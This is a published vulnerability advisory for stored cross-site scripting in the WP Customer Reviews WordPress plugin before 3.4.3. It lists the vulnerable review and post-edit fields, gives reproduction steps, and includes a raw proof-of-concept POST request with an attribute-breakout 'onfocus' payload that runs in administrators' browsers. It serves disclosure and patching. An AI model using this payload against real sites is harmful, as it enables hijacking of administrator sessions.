WordPress Plugin Vulnerabilities

WP Customer Reviews < 3.4.3 - Multiple Unauthenticated and Low Priv Authenticated Stored XSS

Description

Multiple stored cross-site scripting vulnerabilities in WP Customer Reviews 3.4.2 and lower allow remote attackers to inject arbitrary JavaScript code or HTML.

Proof of Concept

If WP Customer Reviews is enabled on a page, an unauthenticated attacker can exploit XSS via review form's parameters:
- Reviewer Name
- Website
- Review Title

On the other hand, an authenticated low-privileged user (Author) can exploit XSS via Edit Post's form parameters:

If review format is "Business":
- Business Name
- Street Address 1
- Street Address 2
- City / Locality
-Country
etc...

If review format is "Product":
- Product Name
- Manufacturer/Brand of Product
etc...

The script stored is executed for all admin users of the website when accessing review detail page.

### Steps

1. Download and install "WP Customer Reviews 3.4.2" from https://wordpress.org/plugins/wp-customer-reviews/

2. From dashboard, admin go to arbitrary post, edit and enable "Enable WP Customer Reviews for this page".

3. As an unauthenticated attacker, go to the page that enabled review form and enter XSS vector to "Reviewer Name", "Website", "Review Title":

```
" autofocus onfocus='alert(document.domain)'>
```

4. When admin user go to "Edit Customer Review" to response, the javaScript code injected would be executed.

5. An authenticated low-privileged user (Author) can do the same with Edit Post form, enter XSS vector on product, business fields.

--- PoC Request

POST /wp-admin/admin-ajax.php?action=wpcr3-ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 423

wpcr3_fname=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_femail=test%40gmail.com&wpcr3_fwebsite=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_ftitle=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_frating=5&wpcr3_ftext=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_postid=1&website=&url=&wpcr3_fconfirm1=0&wpcr3_fconfirm2=1&wpcr3_fconfirm3=1&wpcr3_checkid=1&wpcr3_ajaxAct=form

Affects Plugins

Fixed in 3.4.3

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Nguyen Anh Tien - SunCSR (Sun* Cyber Security Research)
Submitter
Nguyen Anh Tien
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2020-08-20 (about 3 years ago)
Added
2020-08-20 (about 3 years ago)
Last Updated
2021-01-21 (about 3 years ago)

Other